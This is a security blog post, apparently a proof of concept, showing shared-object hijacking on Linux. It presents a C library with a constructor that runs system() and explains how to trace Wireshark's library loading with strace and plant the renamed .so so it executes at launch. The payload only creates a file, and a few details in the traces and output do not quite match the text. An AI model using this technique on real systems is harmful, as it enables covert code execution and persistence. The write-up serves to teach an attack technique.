-------------------------------------------------------------------------------
shared object (so) Injection on *nix Systems
http://blog.disects.com
Praveen Darshanam
praveend [dot] hac [at] gmail [dot] com
-------------------------------------------------------------------------------
[Introduction]
We have seen lot of "DLL Injection", "DLL Hijacking" etc. on Windows
Operating Systems. We will try the same on *nix systems, "shared object
(so) Injection".
I tried this on Ubuntu 14.04 32-bit.
praveend@praveend-vbox:~$
$ lsb_release -a
No LSB modules are available.
Distributor ID: Ubuntu
Description: Ubuntu 14.04.2 LTS
Release: 14.04
Codename: trusty
praveend@praveend-vbox:~$
$ getconf LONG_BIT
32
[PoC Code]
praveend@praveend-vbox:~/exploits$
$ cat linux_so_loading.c
#include<stdio.h>
#include<stdlib.h>
static void nix_so_injection_poc() __attribute__((constructor));
void nix_so_injection_poc() {
printf("PoC for DLL/so Hijacking in Linux \n");
/* execute any arbitrary malicious command/code*/
system("touch ~/praveend.txt && echo \"so injection PoC\" >~/praveend.txt");
}
[Understand PoC Code and build .so]
"__attribute__((constructor))" is a GCC attribute which will be run when a
shared library is loaded, usually during program startup. Created so file will
have .ctor section in the linux binary which has references to functions marked
with constructors.
To build .so file from C code
[Explanation]
$ man gcc
....snip....
-o outfile
-shared
Produce a shared object which can then be linked with other objects to form
an executable. Not all systems support this option. For predictable
results, you must also specify the same set of options used for compilation
(-fpic, -fPIC, or model suboptions) when you specify this linker option.
-fPIC
If supported for the target machine, emit position-independent code, suitable
for dynamic linking and avoiding any limit on the size of the global offset table.
This option makes a difference on the m68k, PowerPC and SPARC.
Position-independent code requires special support, and therefore works only
on certain machines. When this flag is set, the macros "__pic__" and "__PIC__"
are defined to 2.
praveend@praveend-vbox:~/exploits$
$ gcc -shared -o libsoinjection.so -fPIC linux_so_loading.c
praveend@praveend-vbox:~/exploits$
$ ls -ls libsoinjection.so
8 -rwxrwxr-x 1 praveend praveend 6959 Jul 11 14:34 libsoinjection.so
[Injection: Hands on]
Lets inject libsoinjection.so in wireshark. To do that we need to find so files
which wireshark is trying to load but unable to find. We will use system call
tracer (strace) to do the job.
praveend@praveend-vbox:~/exploits$
$ strace wireshark &> wireshark_strace.log
$ vim wireshark_strace.log
....snip....
open("/usr/share/locale-langpack/en_IN/LC_MESSAGES/gtk30-properties.mo", O_RDONLY) = -1 ENOENT (No such file or directory)
open("/usr/share/locale-langpack/en/LC_MESSAGES/gtk30-properties.mo", O_RDONLY) = -1 ENOENT (No such file or directory)
access("/usr/lib/i386-linux-gnu/gtk-3.0/3.0.0/i686-pc-linux-gnu/modules/liboverlay-scrollbar.so", F_OK) = -1 ENOENT (No such file or directory)
access("/usr/lib/i386-linux-gnu/gtk-3.0/3.0.0/i686-pc-linux-gnu/modules/liboverlay-scrollbar.la", F_OK) = -1 ENOENT (No such file or directory)
access("/usr/lib/i386-linux-gnu/gtk-3.0/3.0.0/modules/liboverlay-scrollbar.so", F_OK) = -1 ENOENT (No such file or directory)
access("/usr/lib/i386-linux-gnu/gtk-3.0/3.0.0/modules/liboverlay-scrollbar.la", F_OK) = -1 ENOENT (No such file or directory)
access("/usr/lib/i386-linux-gnu/gtk-3.0/i686-pc-linux-gnu/modules/liboverlay-scrollbar.so", F_OK) = -1 ENOENT (No such file or directory)
access("/usr/lib/i386-linux-gnu/gtk-3.0/i686-pc-linux-gnu/modules/liboverlay-scrollbar.la", F_OK) = -1 ENOENT (No such file or directory)
access("/usr/lib/i386-linux-gnu/gtk-3.0/modules/liboverlay-scrollbar.so", F_OK) = 0
stat64("/usr/lib/i386-linux-gnu/gtk-3.0/modules/liboverlay-scrollbar.so", {st_mode=S_IFREG|0644, st_size=75972, ...}) = 0
open("/usr/lib/i386-linux-gnu/gtk-3.0/modules/liboverlay-scrollbar.so", O_RDONLY|O_CLOEXEC) = 3
read(3, "\177ELF\1\1\1\0\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0@:\0\0004\0\0\0"..., 512) = 512
fstat64(3, {st_mode=S_IFREG|0644, st_size=75972, ...}) = 0
mmap2(NULL, 78852, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0xb76dc000
mmap2(0xb76ee000, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x11000) = 0xb76ee000
close(3) = 0
mprotect(0xb76ee000, 4096, PROT_READ) = 0
access("/usr/lib/i386-linux-gnu/gtk-3.0/3.0.0/i686-pc-linux-gnu/modules/libunity-gtk-module.so", F_OK) = -1 ENOENT (No such file or directory)
access("/usr/lib/i386-linux-gnu/gtk-3.0/3.0.0/i686-pc-linux-gnu/modules/libunity-gtk-module.la", F_OK) = -1 ENOENT (No such file or directory)
access("/usr/lib/i386-linux-gnu/gtk-3.0/3.0.0/modules/libunity-gtk-module.so", F_OK) = -1 ENOENT (No such file or directory)
access("/usr/lib/i386-linux-gnu/gtk-3.0/3.0.0/modules/libunity-gtk-module.la", F_OK) = -1 ENOENT (No such file or directory)
access("/usr/lib/i386-linux-gnu/gtk-3.0/i686-pc-linux-gnu/modules/libunity-gtk-module.so", F_OK) = -1 ENOENT (No such file or directory)
access("/usr/lib/i386-linux-gnu/gtk-3.0/i686-pc-linux-gnu/modules/libunity-gtk-module.la", F_OK) = -1 ENOENT (No such file or directory)
access("/usr/lib/i386-linux-gnu/gtk-3.0/modules/libunity-gtk-module.so", F_OK) = 0
stat64("/usr/lib/i386-linux-gnu/gtk-3.0/modules/libunity-gtk-module.so", {st_mode=S_IFREG|0644, st_size=22184, ...}) = 0
open("/usr/lib/i386-linux-gnu/gtk-3.0/modules/libunity-gtk-module.so", O_RDONLY|O_CLOEXEC) = 3
....snip....
So we can pick any of the so files which are not found by wireshark to load at
run time from the above list and rename libsoinjection.so to it, say, renaming
libsoinjection.so to liboverlay-scrollbar.so and copy the the specific path.
Before launching wireshark, lets check if the file is present in users HOME directory
praveend@praveend-vbox:~/exploits$
$ ls -ls ~/praveend.txt
ls: cannot access /home/praveend/praveend.txt: No such file or directory
Launch wireshark and observe code in our shared object (so) file getting executed.
praveend@praveend-vbox:~/exploits$
$ wireshark
PoC for DLL/so Hijacking in Linux
Gtk-Message: Failed to load module "overlay-scrollbar"
DLL/.so Hijacking in Linux
Gtk-Message: Failed to load module "canberra-gtk-module"
praveend@praveend-vbox:~/exploits$
praveend.txt file is sucessfully created.
praveend@praveend-vbox:~/exploits$
$ ls -ls ~/praveend.txt
4 -rw-rw-r-- 1 praveend praveend 17 Jul 11 15:15 /home/praveend/praveend.txt
praveend@praveend-vbox:~/exploits$
$ cat ~/praveend.txt
so injection PoC
praveend@praveend-vbox:~/exploits$
[References]
http://blog.disects.com/search?q=dll+loading
http://tldp.org/HOWTO/Program-Library-HOWTO/dl-libraries.html
http://www.yolinux.com/TUTORIALS/LibraryArchives-StaticAndDynamic.html
http://gcc.gnu.org/onlinedocs/gcc/Function-Attributes.html